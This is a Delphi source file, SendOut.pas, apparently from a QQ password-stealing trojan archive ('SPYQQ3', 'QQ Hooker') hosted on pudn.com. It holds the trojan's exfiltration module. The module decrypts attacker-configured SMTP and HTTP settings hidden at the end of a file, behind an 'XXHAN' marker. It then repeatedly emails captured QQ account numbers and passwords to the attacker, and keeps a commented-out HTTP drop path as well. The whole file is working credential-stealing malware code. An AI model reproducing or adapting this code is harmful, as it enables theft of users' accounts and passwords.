www.pudn.com > SPYQQ3.rar > SendOut.pas


unit SendOut; 
 
interface 
uses 
  Classes, 
  SysUtils, 
  Windows, 
  IdMessage,IdSMTP, 
  Encode; 
 
  type 
   TSendThread = class(TThread) 
   public 
      ConfigFile : String; 
      SendString : String; 
      procedure Execute; override; 
   end; 
  type 
   TConfig = record 
     canSend : Boolean; 
     canSendByHttp : Boolean; 
     CloseQQWaitTime : integer; 
     page     : string;          // http://www.xxx.com/send.jsp?MSG= 
     sender   : string;  //  = '火血狼' 
     sendFrom : string;          //38497027@qq.com; 
     username : string;          //38497027; 
     password : string; 
     sendTo   : string;          //65845743@qq.com; 
     subject  : string;  //  = 'QQ号和密码' 
     smtpServer : string; //   = ''      //smtp.qq.com; 
   end; 
    
procedure Send(userpass : string; configfile : string); 
 
procedure InitConfig(var config : TConfig); 
procedure ReadValues(FileName : String;var Config : TConfig); 
procedure SendByHttp(userpass : string;config : TConfig); 
procedure SendByMail(smtp : TIdsmtp; msg : TIdMessage ; userpass : string;config : TConfig); 
 
implementation 
 
procedure InitConfig(var config : TConfig); 
begin 
  config.canSend := false; 
  config.canSendByHttp := false; 
  config.CloseQQWaitTime := 0; 
  config.page := ''; 
  config.sender   := '火血狼'; 
  config.sendFrom := ''; 
  config.username := ''; 
  config.password := ''; 
  config.sendTo   :=''; 
  config.subject  :='QQ号密码'; 
  config.smtpServer := ''; 
end; 
 
////////////// 通过邮件发送 /////////////////// 
procedure SendByMail(smtp : TIdsmtp; msg : TIdMessage ; userpass : string;config : TConfig); 
begin 
  if not config.canSend then begin 
    Exit; 
  end; 
    msg.From.Name    := Trim(config.sender); 
    msg.From.Address := Trim(config.sendFrom); 
    msg.Recipients.EMailAddresses := Trim(config.sendTo); 
    msg.Body.Clear; 
    msg.Body.Add(Trim(userpass)); 
    msg.Subject   := Trim(config.subject); 
    smtp.Password := config.password; 
    smtp.Username := config.username; 
    smtp.Host     := Trim(config.smtpServer); 
    smtp.Connect; 
    smtp.Send(msg); 
    smtp.Disconnect; 
end; 
 
procedure TSendThread.Execute; 
var 
 smtp : TIdSmtp; 
 msg  : TIdmessage; 
 SendTime : Integer; 
 keepSend : boolean; 
 cg : TConfig; 
begin 
  try 
    InitConfig(cg); 
    ReadValues(ConfigFile,cg); 
  except 
  end;   
  SendString := Trim(SendString); 
  try   
    SendByHttp(SendString,cg); 
  except 
  end; 
  SendTime := 0; 
  KeepSend := true; 
  smtp := TIdsmtp.Create(nil); 
  msg  := TIdmessage.Create(nil); 
  while keepSend and (SendTime < 100) do begin 
    try 
       SendByMail(smtp,msg,SendString,cg); 
       keepSend := false; 
       Inc(SendTime); 
    except 
       keepSend := True; 
    end; 
    if keepSend then Sleep(1000*60); 
  end; 
  smtp.Free; 
  msg.Free;    
end; 
 
/////////////////// 发送记录 //////////////// 
procedure Send(userpass : string; configfile : string); 
var 
   st : TSendThread; 
begin 
  if FileExists('C:\DEBUG') then begin 
    MessageBox(0, PChar(userpass), ' QQ Hooker', MB_OK); 
  end; 
  if Length(userpass) <= 0 then Exit; 
  try 
   st := TSendThread.Create(True); 
   st.ConfigFile := configfile; 
   st.SendString := userpass; 
   st.FreeOnTerminate := true; 
   st.Resume; 
  except 
  end;  
end; 
 
/////////////////读取用户配置//////////////////// 
procedure ReadValues(FileName : String;var Config : TConfig); 
var 
  stream  : TFileStream; 
  buffer  : array[0..255] of char; 
  seeklen : integer; 
  XXHAN   : array[0..4] of char; 
begin 
   stream := nil; 
   try 
     try 
       stream := TFilestream.Create(FileName,fmopenread or fmShareDenyNone); 
       stream.Seek(-5,soFromEnd); 
       stream.ReadBuffer(XXHAN,sizeof(XXHAN)); 
       if (Trim(XXHAN) <> 'XXHAN') then begin 
         Exit;  
       end; 
        
       stream.Seek(-sizeof(Integer)-5,soFromEnd); 
       stream.ReadBuffer(seeklen,sizeof(integer)); 
       stream.Seek(-sizeof(Integer)-seeklen-5,soFromEnd); 
 
       stream.ReadBuffer(Config.CloseQQWaitTime,sizeof(integer)); 
 
       ZeroMemory(@buffer,sizeof(buffer)); 
       stream.ReadBuffer(buffer,sizeof(buffer)); 
       Config.page := Trim(Decrypt(buffer)); 
       if Config.page <> '' then begin 
         Config.canSendByHttp := true; 
       end; 
 
       //MessageBox(0,buffer,page,MB_OK); 
       //Log('ReadValues() : page='+page); 
 
       ZeroMemory(@buffer,sizeof(buffer)); 
       stream.ReadBuffer(buffer,sizeof(buffer)); 
       Config.sendFrom := Trim(Decrypt(buffer)); 
       //MessageBox(0,Pchar(sendFrom),sendFrom,MB_OK); 
       //Log('ReadValues() : sendFrom='+sendFrom); 
        
       ZeroMemory(@buffer,sizeof(buffer)); 
       stream.ReadBuffer(buffer,sizeof(buffer)); 
       Config.smtpServer := Trim(Decrypt(buffer)); 
       //MessageBox(0,Pchar(smtpServer),smtpServer,MB_OK); 
       //Log('ReadValues() : smtpServer='+smtpServer); 
        
       ZeroMemory(@buffer,sizeof(buffer)); 
       stream.ReadBuffer(buffer,sizeof(buffer)); 
       Config.username := Trim(Decrypt(buffer)); 
       //MessageBox(0,Pchar(username),username,MB_OK); 
       //Log('ReadValues() : username='+username); 
 
       ZeroMemory(@buffer,sizeof(buffer)); 
       stream.ReadBuffer(buffer,sizeof(buffer)); 
       Config.password := Trim(Decrypt(buffer)); 
       //MessageBox(0,Pchar(password),password,MB_OK); 
       //Log('ReadValues() : password='+password); 
        
       ZeroMemory(@buffer,sizeof(buffer)); 
       stream.ReadBuffer(buffer,sizeof(buffer)); 
       Config.sendTo := Trim(Decrypt(buffer)); 
       //MessageBox(0,Pchar(sendTo),sendTo,MB_OK); 
       //Log('ReadValues() : sendTo='+sendTo); 
        
       Config.canSend := true; 
     except 
     end;  
   finally 
     if stream <> nil then 
       stream.Free; 
   end; 
end; 
 
/////////////// 通过网页发送 /////////////////// 
procedure SendByHttp(userpass : string;config : TConfig); 
//var 
// http : TIdhttp; 
begin 
    if not Config.canSend then Exit; 
    if not Config.canSendByHttp then Exit; 
    {http := TIdhttp.Create(nil); 
    http.Get(trim(page)+?MSG=+s); 
    http.Free;} 
    //Log('SendByHttp() : '+userpass); 
end; 
 
end.